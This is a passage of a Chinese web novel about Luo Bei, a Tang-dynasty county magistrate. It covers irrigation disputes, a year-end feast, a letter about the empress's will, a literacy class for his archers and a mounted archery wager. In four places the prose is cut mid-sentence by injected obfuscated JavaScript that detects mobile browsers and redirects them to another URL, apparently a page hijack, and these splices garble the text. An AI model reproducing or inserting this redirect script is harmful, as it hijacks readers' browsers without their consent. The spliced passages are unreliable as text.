洛北知道哥舒亶重情重义,却不知道他重情义到了这样的地步:“这件事情是我的不对。只是如今除了金银之物,我倒也想不到什么东西来报答了。” 哥舒亶急切道:“公子,这是我职责所在,用不上报答。”他将金银塞回洛北手中,跳上马车,驾马向军营中去了。 塞外苦寒,秋日一过,鹅毛般的大雪就飘了下来。沙漠白雪,一片苍茫景象。 洛北没有闲情欣赏这番美景,他忙着将政务一一清点,该封存封存,该留档留档,该送长安的送长安。又赶在封笔之前,他叫来各镇乡村的里长到县衙中开会,叮嘱他们之后灌溉的诸般事宜。 鸣沙的灌溉用水,实行的是封俵轮灌制度。也就是先将中游的支渠和斗口都封闭上,让河水先流到下游,再有节制、有秩序地开闸放水,使得上中游和下游都能同时灌完。 这样自上而下地浇灌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281686|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,极为节约人力物力。几个里长听了,都十分赞成。但有个林里长却一直沉默不语,眉头紧锁。 洛北点了他的名字:“林里长可有什么要说的?” 林里长为难道:“是,是,明府知道,我那里是林家村的所在地,我们村有家大户,家里曾有老人做过官,又是姓名显赫的人家。他们一向不把咱们放在眼里,十来年前,也有水渠通到我们那。” “可一到天旱,渠中少水,他们就在堤岸边种植庄稼。雨水多的时候,为了那点庄稼,他们又在堤坝上挖口子把水放掉。就这样,我们那儿怎么也没有水渠,还得靠人肩扛手提。” 吴钩本在旁听,见林里长这样说,不禁想起了放水那日的情景:“放水那天我在后头,人群里有一片人不太说话,脸色也难看的,是不是就是你们那儿的林大户?” 林里长为难地笑了:“是,是,吴主簿看得仔细。没有水渠,一旦旱灾,百姓们便要向他借粮度荒,还不起他的债,就是卖儿鬻女。我这个里长,也就是老实巴结着。” 他抬起双眼,带着些期望看向洛北:“但这次水渠,他们没敢怎么动作,许是因为是冬天灌水,又有赤水军帮忙的缘故。洛明府,你和沙吒将军关系好,不妨到时候让沙吒将军帮帮忙?” 洛北微微一皱眉,他定下的封俵轮灌制度,最忌讳的便是有人私自开渠,使得渠道水位紊乱:“这个林大户,平日里可有什么劣迹?” “劣迹倒是没有。”林里长笑道,“这里有赤水军驻扎,他们家家风颇严,几个子弟行事也很小心,除了田地上的事情,没怎么和人起过纠纷。” 洛北点了点头:“若没有证据,我们一时半会儿就拿人家没办法。你且替我留意着,过了年春耕放水的时候,再看看他们的表现。” 他送走这群里长的时候,外头的雪又开始下了起来,他挂心着这些里长什么时候能到家,吴钩却拉着他到了二堂上坐下:“好了我的洛明府,且把官袍换一换吧,这是你今年最后一件事了,再不封笔,就赶不上过年了。” 洛北有些踌躇:“我平日里也不太过年的——” “你不过年,我们兄弟几个还要过年呢。”许平拿着两壶酒从后院走了进来,“我来向明府辞行,吃了这顿饭,我就要回去和家人过年了。跟着明府这段日子啊,我连家人都没怎么见,也不知道我那小女儿还认不认得爸爸。” 洛北不好意思地别过脸去:“这倒是我的不对。” “对或不对,洛明府你说了不算。”许平揭开酒盖,“咱们酒里见真章!” 洛北看他俩摆开了架势,也知道今晚是个不醉不休的局面,干脆起身道:“既然要摆酒宴,就摆得风雅些,外头下了雪,咱们何不移到院中去吃?我这就去换衣服,再叫人生起炉子来,留下一面朝着外头的风景。” 吴钩哈哈大笑:“今天我才觉得公子是那个长安来的洛公子呢。既然公子发了话,我这就替公子将此事处置了!公子且去换衣裳,等你出来了,我也就布置好了。” 65. 第 65 章 吴钩夸下了口,动作也麻利,不消几刻工夫,院中的亭子里已经烧热了火炕,三面像牧民的毡帐那样围起了毡子,外头是朔风吹动,大雪纷纷扬扬,亭内只听得风声呼啸,特制的桌子上摆着瓜果和各色吃食。小炉子上烧着一壶暖暖的热酒。 许平拿起那雕工精致的水晶杯望了望:“这是东西就是话本里说的那个琉璃杯?我还是第一次见到。”他见自己的指纹印在了杯子上,慌忙吹出几口气来,用衣袖的内衬小心地把指纹擦了,生怕留下一点印子:“吴主簿是打哪儿淘换来的?” “这是水晶杯。我来鸣沙之前,常在长安和西域之间往来做生意。这样的东西,西域常见。”吴钩笑道:“许都头要是喜欢,就拿回去给孩子玩吧。” 许平有些不解地摸了摸下颌的短须:“怎么,吴主簿来这儿之前,已有一份事业?那你怎么抛家舍业地跟着洛明府来鸣沙了?”他说着不好意思地一笑:“跟着咱们这位明府可发不了财啊。” “称不上。我追随明府的理由,倒和你许都头有几分相似。”吴钩低头往杯中斟酒:“一个是想做些扬名立万的事情,还有一个,就是为了报恩。当年我曾卖身为奴,是明府出钱赎了我。” 许平奇道:“怎么平日不听你说起?” “说来话长。明府的为人你也知道,他不喜欢挟恩图报,更何况当时他救了那么多人,他肯定记不住我一个。”吴钩笑了笑,“可明府那会儿少年意气,肆意潇洒的模样,是让人见之就难以忘怀的。” 他们话音落了不久,洛北撑着一只青布大伞,踏着乱琼碎玉,背着北风一步步地来了。他轻裘缓带,头戴一顶玉冠,显出几分清冷矜贵。 许平玩笑道:“村头老传说咱们明府是天上星辰托生的,如今我看了,也要相信几分。明府平日里也该多穿穿,好叫这些人知道你的风度。” 洛北轻轻一笑:“到什么山唱什么歌嘛。咱们鸣沙是个穷县,人口中大部分人都是农民,我一个县令,一天天地打扮得金尊玉贵,像个庙里神像似的,还能听到下头什么实话?知道什么民情?” 吴钩听他说完,又笑道:“明府,咱们今天已经封了笔,你怎么又把公事拿出来谈了?这一句话,就该罚酒。” 洛北笑了笑,也不和他们推拒,就把那一杯酒喝了:“吴主簿是有事儿要说?” “我这心思是瞒不过公子的。”吴钩盘了盘手中的酒杯:“其实是有个客人从长安来了,今天早上才到,公子不妨猜猜是谁来了?” 洛北拿手指斜斜地点了点他:“吴主簿这是来考我了。”他把水晶杯拿在手中端详了片刻,“摆出这么大的摆场,又和你吴主簿有往来......是伷先来了?不对,我让他照看太子,如今长安事态复杂,他是不能抽身的。” 他往外头望了望,雪渐渐地积了起来,约有一尺多厚,压得已干枯的荷花池和池边的芦苇都低下头去:“我知道了,是王翰吧?” “公子爷真是神了。”吴钩拊掌大笑,高声喊了句:“王公子,你听到了吗?” 王翰一身蓑衣斗笠,打扮得像个隐士渔翁一般,来到了亭中。他脱下衣裳,露出里头穿的一身织锦满绣的长袍。他笑着掸去斗笠和蓑衣上的白雪:“早知道洛公子轻裘缓带,我就不穿这一身了,一衬之下,倒把我自己衬得俗气了。” 洛北不由得笑了:“王公子不在长安的吏部做事,怎么到我这鸣沙来做客了?来之前也不和我说一声?”他站起身,介绍吴钩与许平道:“吴钩吴主簿,许平许都头,都是我的得意下属。” “吏部的差事无趣得很,月前我和上司起了几句冲突,一气之下就弃官不做了。”王翰与两人各自见了礼,坐到桌边,“我离了长安,本打算就回家去过我香车名酒的日子。是路上临时起意要来看你,有意仿照着魏晋古人乘兴而至的气度,就没给你写信。” 吴钩笑道:“公子爷不知道,今天早上王公子来的时候,县衙里只有两个扫雪做饭的人。许都头带着衙役们下乡巡查,你又在外头带着那些人练骑射功夫,所以我就自作主张,把王公子留下来了。” “招待不周,是我的过错。王公子谅解则个吧。”洛北给他倒了杯酒,“本地产的枸杞酒,你尝尝。” 王翰喝了一口,入口甘甜温热,让他精神一振。有好酒堵嘴,他也挑剔不出什么话了:“还不错,我走的时候送我几壶?” “当然。”洛北一口应下:“王翰兄,现在你可以告诉我,你到鸣沙来是要做什么了吗?” 王翰这才收起那副随意模样,敛容正色道:“洛北啊洛北,有时候我也怀疑你有看破一切的本事。”他又抿了一口酒:“其实我到鸣沙来,是受人之托,来给你送信的。” “送信?什么信?”洛北沉吟片刻,“太子绝不会犯这样的忌讳。魏相公也不会、伷先和孝嵩若要有事......” 王翰匆匆挥手打断他:“我说你洛公子白生了一副神仙相貌,内里怎么装了个不解风情的石头心啊?实话告诉你吧,是褚沅褚宫正,啊不,如今你可要叫人家一声阳翟郡君了。” “沅儿?”洛北手中的酒杯差点掉在地上,他站起身来,走到王翰身边:“她,她还好吗?” 王翰没见过他这番惊讶又带着几分犹疑的模样,哈哈大笑起来:“好,好的不得了。你在鸣沙恐怕还不知道,女皇去世了,她死前的最后一道遗诏,就是褚宫正主笔写的。” 洛北知道他妹妹的满腹文才终于能为天下所知,脸上自然而然地露出微笑。 王翰见他这副神情,心下对自己的猜测又笃定了几分:“女皇在遗诏中自去皇帝尊号,要以太后身份归葬乾陵,与高宗皇帝合葬。她还赦免了当年和她作对的王皇后、萧淑妃的族人、还有褚遂良、韩瑗等人的亲属。陛下以褚家三代之内已无后人,又以褚宫正侍奉太后有功,命她承袭其祖的爵位,封为阳翟郡君。” 洛北怔在原地,他怎么也想不到,昔年他的曾祖父褚遂良以反对废王立武被贬到爰州,如今自己的家族的这封赦免书,竟是由褚沅撰写,女皇发出的。 他满心情绪激荡,却一个字都不能和人言明,只得强忍心绪,走下亭子,到院中捧了一捧新雪洗了洗脸,双目中的眼泪沾在新雪上,化开了一片冰水。 许平不知道他们一来一回的打什么哑谜,好奇地问王翰道:“我还是第一次见到洛明府这副模样,这个阳翟郡君,是个什么人啊?” 王翰敲了敲桌子,半开玩笑半认真地道:“窈窕淑女,君子好逑,当然是你家明府的心上人了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281687|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “不要胡说。”洛北平静心绪,回到亭中,便听到王翰这句话,“她如今是郡君了,将来的前程不可限量,不要因为我耽误了她。” “哎,话可不能这么说。”王翰抽出一封信并一只包裹递到他手上,“我千里迢迢到鸣沙来送信,怎么也不能送一封分道扬镳的信啊。还有个包裹,我摸着软软的,不知道是什么东西,也一起给你捎来了。” 洛北接过信,揣在怀里不读,只把包袱展开,露出一件丝缎做的缠枝暗纹的月白长袍,这袍子称得是斑斓的织金锦缎,衣襟和衣摆各处绣上了连绵的祥云纹样。 王翰露出一抹促狭的笑,别过身去自顾自地喝酒了。 许平倒是把目光盯在了衣服上:“这缎子好啊,滑滑的,纹样也好看。” “这缎子是宫里内造的出品,当然好了。这绣工也是一流的。”吴钩也笑道:“就是看在阳翟郡君的花的功夫,公子也是该回点什么的。” 洛北也只得点了点头,推脱道:“县里的诸多事情才开了个头,我哪儿顾得上这些?等我写一封信,再准备些东西,吴主簿差人回过去吧。” 吴钩拱手领命,见他神情不悦,也就转开了话题,说些昔年在丝路上走商的旧事。王翰见识广博,讲话有趣,和吴钩一唱一和,聊得桌上欢声笑语不停。 酒宴过了大半,几人都有些不胜酒力,许平率先告辞,回家去了。王翰提溜个酒壶,晃晃悠悠地回房去喝了。洛北这才拆开褚沅的信,读了一遍,就将信放在酒壶下的炉火中焚烧殆尽。 “公子,你这是?”吴钩也学着他的样子,拿新雪洗了洗脸,三分酒意醒了两分:“信中的内容不合你的心意?” “不是这么回事。信中有些事情,是宫中机密,知道的人越少越好。”洛北盯着外头的积雪,沉思片刻:“我要写两封信,一封给褚宫正回过去,还有一封要给在长安的伷先,叫他无论如何,都要保住五王的性命。” “什么?这件事情是怎么和五王扯上关系的?”吴钩不解其意。 洛北说:“褚宫正在信中抄了一份遗诏的原文给我。除了刚刚王翰公子说的那些,女皇还减去了武三思等武家子弟的封地,增加了袁恕己、魏元忠等人的封地。这可是实封的封地,是位极人臣都少有的荣耀。” 吴钩一时没有明白:“这,袁恕己也是参与神龙政变的五王之一,太后这样做,难道不是以退为进,希望皇帝保全武家吗?” “没那么简单。”洛北深深叹息一声:“姜还是老的辣,太后是把所有人都算计进去了。她减少武家子弟的封爵的目的确实如你说说,是以退为进,但你想过没有,她为什么要增加袁恕己和魏元忠的封地?” 吴钩摇了摇头。 “她加袁恕己封地,是为了告诉圣上,当年神龙政变,相王李旦出力甚多,对圣上来说会是个威胁。增加魏元忠的封地,是为了让魏元忠在朝堂之中偏向武家——只要他静默不语,武三思想要迫害五王,是轻而易举的事情。” 洛北说罢,深深叹了口气。当年他费尽千辛万苦,才让魏元忠和武三思之间起了一点嫌隙,如今女皇一道遗诏,竟将他的心血化为乌有。 “这一局,最终还是女皇棋胜一招。我们能做的,只剩下亡羊补牢了。” 66. 第 66 章 不论朝局如何,洛北的年关有自己的事情要做。他前些日子把时光都用在水渠上,这些日子便整日整日地和手下那帮骑射好手在草原上骑马射箭。 王翰是个耐不住寂寞的性子,也和吴钩一道到草原上去看他们练习。 第一种训练是最简单的站立固定靶,这些人不愧是各部族挑出来的好手,十个里有九个都能射中靶心。王翰看得心痒痒,自己拿起弓箭来射了一遭,只能射中七环,他一边气馁,一边好奇:“这些人的射术已经相当高明了,大冬天的,洛公子还带着他们练什么?” “高明吗?”洛北轻轻笑了笑,眼见他们放出一箭,自己立刻从斜后方追出一箭。箭矢如流星,足足撞落了八枝羽箭,才落在地上:“以战场的标准来看,他们还差得远呢。” 他说罢,向一众骑士打了个手势,要求他们聚拢到自己身边来,用汉话、突厥话和吐蕃话各说了一遍现在的问题:“你们每个人都是骑射好手,都射的很准,这很好。但是在战场上,你们的敌人不是靶子,是身披铠甲的突厥骑兵,所以,力道和准头一样重要!” “现在,我把你们分为七人一组,一组一轮分别射击,第一组射击时,第二组干扰。第一个全部射中靶子的组别,今天可以提前休息吃饭。” 他连着喊了三遍,句句都是指令清晰,毫不拖泥带水。王翰不由得笑道:“除了你洛公子,其他人也当不了这个教头。光这三种语言,就够折腾不明白的了。只是你没想过,教他们汉话吗?” 洛北想了想:“朝廷办学素来是给儿童办,从来没有给成年人办的。要是开这个学堂,我第一课要教什么呢?” “和孩子一样的教嘛。”王翰笑道,“你要是信得过我,我来备第一堂课。就从《千字文》开始讲。” 洛北调侃他道:“王公子转性子了?你一个风流名士,怎么想起来干这样世俗经济的活。” “也不算转性子。老实说,是受了你的鼓舞。”王翰坦诚道:“风花雪月固然好,但能做些实事,何尝不是一件好事呢?你洛明府都下河滩扛石头了,我总不能白吃白住吧?” 他说干就干,当场拍了拍手回县衙备课去了。倒是让来送饭的吴钩大吃一惊:“王公子这是受了什么刺激?” 洛北笑了笑,也不好答复,自顾自地去看那些射手射箭。当这些骑手把射击固定靶改成射击移动靶的时候,王翰学堂也在县衙堂下的棚子里开了第一课了。 洛北带了自愿报名的二十个人来上这第一堂课。他们闹哄哄地四散在各处坐下,等着王翰来给他们讲课。 洛北站上讲台,先做了开学的第一讲:“在座的各位都是我洛北的属下,大部分都听得懂汉话,但说得出汉话的少,写得出汉字的更少。之前在草原上打猎用得少,日后成了我手下的士兵,可就不方便了。要想做大将军,更是大大的不方便。王翰王公子是海内名士,也是进士及第的天子门生,他自告奋勇来讲这课。大家欢迎。” 他依旧是用汉话、吐蕃话和突厥话各说了一遍。下头响起一片片欢呼和口哨的声音。王翰站在台上,敲了两遍桌子才把台下的声音镇住了。他按着自己的规划,从《千字文》的“天地玄黄,宇宙洪荒”开始讲,讲的是滔滔不绝,引经据典。 洛北坐在台下,听得颇为入神,可台下的几个胡人没有他那样的耐心,不一会儿竟有几个人沉沉睡去,发出大大的鼾声。 王翰这课是越上脸色越难看,好容易撑到一节课结束,差点没把手中的《千字文》摔了:“什么化外蛮夷,竟在我的课堂上大大咧咧地睡起觉来。” 洛北见他气得满脸通红,怕他气出个好歹来,忙给他顺了顺气:“其实我觉得你讲课的本事极高。这番引经据典的本事,去国子监当个司业是绰绰有余了。” 王翰叹了口气:“可台下的人,为什么不愿意听呢?便是乡间的小儿,学《千字文》、《就急篇》的时候,也没有各个睡成这样的吧?” 洛北一时也没有想明白,干脆在第二日射箭的时候问了几个人的意见。 有人说:“课上得有趣,可对我们来说,太简单了。‘天地玄黄’和我有什么关系?” 有人说:“他说的太啰嗦,我听了,还是不知道字怎么写。” 还有人说:“先生说的话,太多我们都听不懂,他只说孔夫子,怎么不说海神女?” ........ 这些人在草原上长大,心机甚少,说出来的都是真心的话。洛北听了,若有所思。当天晚上,干脆主动找到了王翰。 王翰正对着一桌子蒙学的书籍埋头苦思,见到他来,依旧是一脸愁容:“我还是想不明白,为什么他们不听讲呢?” 洛北靠在他的桌子上:“王翰兄,我的吐蕃话也是过了蒙学的年纪才学的。现在想想,那个时候我之所以学得那么快,便是因为每天讲的用的都是同一套词汇。今天学的词,明天就能用,自然进步得快。” 王翰一咂摸,似乎明白了洛北的意思:“你说得对,就不该从《千字文》讲起。蒙学的孩子,听什么都觉得有趣,大人们则不然。那我从......我从什么开始讲呢?” “就从蓝天、白云、草原、羊群、马儿和数字开始讲起吧。”洛北想了想,铺开一张纸在王翰面前:“就这样,一边画画,一边写字。你觉得怎么样?” 王翰哑然失笑:“我觉得怎么样?我觉得就是自打来了你鸣沙县,我这风流才子的名声可是彻底被丢在地上了。” “王翰兄,提议开这个课堂的人可是你啊。王大公子才气纵横,世人皆知,还能做这半途而废的事情吗?” 王翰知道他在激将,心里的那一口气也咽了下去。这回晚间课堂再开的时候,来的人只有十二个。 王翰站在讲台上,看着“学生们”的神情,手心也有些出汗:“我们今天要讲的第一课,是牛、羊和马。”他在粉白的墙壁上画出这几只动物的样子,开始讲解这些字的字形和字义。 台下众人都聚精会神地听着。等他把这些都讲完,便七嘴八舌地举手提问。洛北替他们充作翻译,也和王翰一道回答他们稀奇古怪的问题,直到王翰看了看天色已经晚了,才叫停。 便从那一日开始,每隔一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281688|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日,王翰便来给一众骑手们讲课,从身边的物品讲起,把周围的事物讲了个遍,便开始讲如何数数字,如何算账。他那备课的宣纸积了厚厚一沓,讲台下的学生越来越多。等到这一阵风雪放了晴,洛北便不用在发号施令的时候讲三门语言了。 大年十五一过,许平和各位衙役也回到了县衙报道。他绕着那棚子转了几圈,也没想到这简陋的东西来做什么用:“这是?” “晚上讲学的时候用的。”王翰指了指最尽头的那块粉白墙壁。 许平惊讶道:“是王公子讲课,怎么明府也不和我们说一声,要知道这样的才子来,我第一个把家里的孩子送来。” “不是给孩子们讲学,是给你家明府手下那些骑射好手。这些人都在草原上长大,没上过咱们的村学、乡学,我可是从羊、马、牛这样的词汇开始讲的。” 许平有些迷惑不解,他实在不明白,叫这些打打杀杀的人写自己的名字有什么用,教会他们马字怎么写,也不会让他们骑马的速度快上几分:“为什么要教他们写字呢?” 王翰道:“他们原来都是各部里挑出来的,说自己的语言,讲自己的事情。可到了这个地方,统一受你家明府的命令,和周围的这些人就成了战友和兄弟。一家兄弟也不能讲几家的话,是不是?” 上了这么久的课,王翰的语言也变得平白朴实起来。便是许平这样没读过《四书》的,也能听的明白,他点了点头,带着一脑袋的想法走了。 那天晚上,王翰的课依旧是准时准点地开了。今天的课讲的是地理的词汇:高山、大海、浪花、河水、草原、沙漠和戈壁.......王翰在上头讲得娓娓道来,下头的学生们听得津津有味。 洛北依旧坐在下头听,有人要问话,又解释不清楚的时候,便充当翻译的角色。忽而外头一阵响动,他下意识地起身抽刀,喝了一声:“什么人?” 这些日子,这些个骑射好手也被磨出了极快的反应,讲堂的棚子里四下里刀剑声一起,顿时变得杀气腾腾起来。 “明府,冤枉,冤枉啊。”许平带着两个衙役从暗处走了出来,双手牢牢地放在耳边,不敢乱动——这二十来号人要是瞬间出手,可能让他们死在当场:“别出手啊,是我们,我们啊。” 洛北把刀一收,又喊了一声:“都放下吧,自己的兄弟。”那二十八个人这才放下了刀剑,又都望着许平。 许平清了清喉咙:“上午和王公子问起,王公子说,他是要教这些骑射好手们学写字、算数。还说,之后是要在一起打仗的兄弟,一家的兄弟,不能说两家的话。我就想起我的这些兄弟里,也有没上过村学、乡学,不会写字的,所以来看看。” “看有什么意思。”洛北笑着招呼他们,“找空地自己坐吧。可有一条,先学的不许嘲笑后学的,后学的,自己要找机会跟上课程。啊?” 许平高声应了句“是”,下意识地向外跑去。 “你跑什么?!”王翰问道。 许平一边跑,一边招呼:“我去招呼兄弟们,叫他们要学的快来啊!来晚了,可就没有座位了。” 67. 第 67 章 这轰轰烈烈的课堂从冬天办到开春,课堂从县衙的堂下挪到了县中的戏台,台下常常是观者如堵,有人来听课,有人纯是仰慕王大才子的风采,有人专来看那些仰慕王大才子风采的人。 洛北对这一切都心知肚明,他把自己的手下都打散坐到人群中,又派衙役着差服时不时地巡查一遍,一直到春耕的农忙时节,也没有出乱子。 王翰的名头倒是一日日地响起来,收到附近不少州县请他讲学的请帖。他趁着春耕农忙,风景正好,一边讲学,一边踏青游玩,又恢复了往日的意气风发,常向洛北夸口:“我不说是桃李满天下,也可以说是桃李满鸣沙了。” 洛北正忙着把手下的那些骑射好手拆开分组,四人一组和他一起到各处去看春耕的情况,忙得没空和他说笑:“王大公子要我怎么报答呢?” “用不上报答。”王翰笑道:“等我回晋阳的时候,把你之前给的那个本地的枸杞酒,给我装上一车。” “一言为定。” 因为有这谙熟弓马的二十八个人时时巡查,春耕时节比洛北想象的要平稳得多。只有那林姓的大户冒着犯忌讳的危险,在渠上种了些小麦,拓展自家的田地。 洛北蹲了几日,抓了他们一个现行。那林家人看了看自己手中的棍棒,又看了看县令老爷手中的弓箭大刀和长枪,当即识时务地将麦苗拔了,伏地请罪。 洛北也不多和他们为难,只叫他们派人把水渠修缮好,又赔上耽误农时的费用才罢。 等王翰从附近几个州县游学回来的时候,四处田野已经全是连绵成片的扬花吐穗的麦苗,他兴冲冲地去县衙找洛北聊天,却只见到几个农民拿着新收的麦芽儿让洛明府尝个鲜。 县衙中,只有吴钩在账簿上写写画画,见到这些农民,也只笑笑:“明府这个人的性子你们知道,东西不要了,你们拿回去吧。心意我代他领了。” 那些农民不肯依,只把麦芽塞到了吴钩手中才罢休。为首的高鼻深目,显然是突厥人,开口的汉话生疏质朴:“我们本来是逃难来的流人,要不是明府,我们哪能有田地,有饭吃。要是明府实在不收,吴主簿你就收下吧,我们不会种地,多少还是你教的。” 吴钩忙摆了摆手:“这可就更不行了!公子对手下人管得严。”他们在那里拉扯了半刻,农人们才失望地拿着篮子走了。 王翰好奇道:“县衙中怎么是吴主簿在主事?你家明府怎么了?” “这样的人不知道来了多少波,公子爷懒于交际,不想应付,就让我来干这差事。”吴钩叹了口气,指了指桌边一盘葡萄,“刚刚那都是好的,你看,这还有推不掉的,放在门外的……” 王翰哈哈大笑,从他手边拿过一串晶莹剔透的葡萄塞进嘴里:“洛北这个人啊,哪有自己躲懒,让你来做事的道理,你等着,我去找他。” 他说着要绕到县衙后院去,吴钩却拦了他一把:“王公子这是要去哪?要寻洛明府,他可不在里头,他去草原上和他手下那群人骑马去了。” 夏季的草原也迎来了水草丰茂的繁盛季节。远处贺兰山脉在蓝天下连绵向前,王翰走了半日,才在山坡的阴影下看到洛北身影。 他正在和手下人玩一种新奇的游戏。先是在草原上用矮矮的草垛隔开一条极长的跑道,两边放上稻草人作为标靶。其他人都退到跑道二十步开外,待到有人从中间骑马穿过,便用摘了箭头的羽箭沾了粉彩,往他身上射去。那骑马的人便使出浑身解数去躲羽箭,还要在箭雨之间抽出时间来射稻草人。 王翰驻足看了一会儿,这游戏难度极高,几轮下来,几乎人人身上都染了颜色。唯独洛北一身白袍纤尘不染,坐在人群之中蔚为耀眼:“洛公子。” 洛北见他来了,招呼他来到众人中间:“王公子?你从外头回来了?” 王翰点了点头,:“你们这是在练什么呢?” “练在战场上如何快速反应。”洛北笑道,“怎么,王翰兄也有兴趣?” “有。”王翰点了点头,“这可比射靶子好玩多了。” 队伍中有人笑道:“王先生,这可不是好玩的,你看这些箭,虽然去了箭头,又减了力道,扎在人身上也是疼的。” 王翰不劝则已,一劝还真来了劲儿,当下豪气冲天地一挥手:“可别小瞧了我。” 洛北无奈道:“行吧。”他招呼几个人的名字,叫他们埋伏在四周,又让他们手下留情,才敢让王翰纵马猛冲。 王翰纵马越过草垛,飞也似的躲过当头的两箭,俯身射出一箭,正中稻草人,他正要高声欢呼,却在直身的时候一下子被射中了腰部。他当下捂着腰喊了一声。 马儿可不管他,只自顾自地向前猛冲,到第六个稻草人时,王翰身上已是青青粉粉,染得不成样子。 他心怀郁郁地从马上跳下来,人群中立马发出一阵善意的哄笑。洛北和几个人一边替他掸开衣服上的粉彩,一边笑着替他开脱: “我们都练了七八日了,才有这点样子,王先生你一天也没练过,懵了也是自然。” 王翰听着也服气,目光四处一望,却在看到洛北身上的白袍时不平起来:“洛北,你这设计的也太难了,便是神仙也过不去。” 洛北知他在激自己,轻轻一笑:“你想看我演示一遍?” 王翰已经拿了弓箭,站到稻草人后二十步开外的位置:“洛北,你不要觉得自己无所不能,我和你打赌,便是你也过不去!” “哦?若要打赌,可有彩头。”洛北也难得起了意气,“王翰兄打算拿什么当彩头?” 王翰拿扇子敲了敲手掌:“我手边这把古扇如何?” 他这把古扇便是当初在白马寺前被洛北捡到的那把,玉坠精致,扇面是东晋顾恺之所绘的洛神图,说价值千金也不为过。 洛北点了点头:“要是我过不去呢?” “那我要……”王翰抬头看了看,金雕正在空中盘旋翱翔,“就要这只金雕,如何?” 一只驯好的金雕在长安何止千金,王翰这笔买卖做得不亏。 洛北笑一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281689|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑,点头应了,翻身上马,马蹄一蹬,便越过了起点的草垛,他侧身错过两只羽箭,人已经蹬踏起身,连发两箭,将两只稻草人射倒在地,发出沉重的响声。 观战的众人都喝彩起来。王翰高声呼喊:“兄弟们,别叫他一个人抢了彩头,要是能射中你家公子,中一箭,我赏十金!” 重赏之下必有勇夫。饶是这些人都是洛北的下属,也扛不住这样的诱惑。当下那些人都拿出本事来,有的连发数箭,有的三箭齐发,一时之间箭雨满天,都向洛北袭来。 洛北神色一动,双腿夹住马肚,腰身后仰,一个倒挂金钩,几乎是挂在马儿的侧面。马儿与他心意相通,兀自疾驰不休。他手上不停,连放三箭,正射倒了沿途的稻草人。 王翰和一众人看呆了,连喝彩都忘了喊,这些人中能倒挂金钟的不少,但同时还能射倒稻草人的可就没有几个。 趁着他们失神的功夫,洛北轻轻巧巧地过了中段,射中两边稻草人眉间。两只稻草人一到地,王翰才反应过来,又招呼众人射箭。 洛北眼看着一轮箭雨又至,干脆一脚踩马镫,一手扶马鞍,侧身挂在马上,躲掉了这轮箭雨。 洛北眼见终点在前,还有两只稻草人未经过,翻身上马,仰射两箭,两箭飞到天空,如流星一般落在了最后两只稻草人头上。 马儿越过终点的草垛,洛北翻身坐在马上,白衣翩翩,依旧是一点粉彩也没沾上,他催马走到王翰面前,伸手让金雕站在自己肩上,英俊的脸上是遮掩不住的骄傲神情:“王翰兄,扇子。” 王翰脸上一片半哭半笑的神情,他对金银无所在意,但这扇子乃是他的心爱之物,一向放在手边不肯离身: “洛北……你可要善待它啊,这柄扇子,不说价钱,便是寻它便花了我几年功夫。” 洛北跳下马,放飞金雕,把扇子拿到手中,合起关上,把玩了一番,又笑着递回到王翰手中:“罢了,君子不夺人所好,这彩头就罢了。” 王翰惊喜道:“洛公子此话当真?那……” “自然当真。只是我初到鸣沙的时候,为了安置流民,向鸣沙当地的大户借了些钱买地。若王公子肯支援些……” 他把话说到这份上,王翰还有什么不明白的,当即拍了拍胸脯:“洛明府放心,这笔钱我出一半!” 洛北躬身道礼:“那我可就代鸣沙百姓谢过王公子了。” 王翰哈哈大笑:“你赢来的,何谈一个谢字?要是你洛公子肯答应我一个条件,剩下一半我出了也无妨。” 洛北正要问他什么条件,却见王翰将两手沾满了粉彩,向他扑过来,他闪避不及,被抓了个正着。周围那些人也一拥而上,不一会儿,他那件白袍也染得粉粉青青,看不出一点原来的色彩了。 笑闹了一阵够,洛北把手下人重新分组,命他们再练两轮,自己牵了马和王翰走到山坡上,天朗气清,蓝天高远,看得人心旷神怡。 王翰开口道:“洛北,你可知道我这次到鸣沙来,最大的感想是什么?” 68. 第 68 章 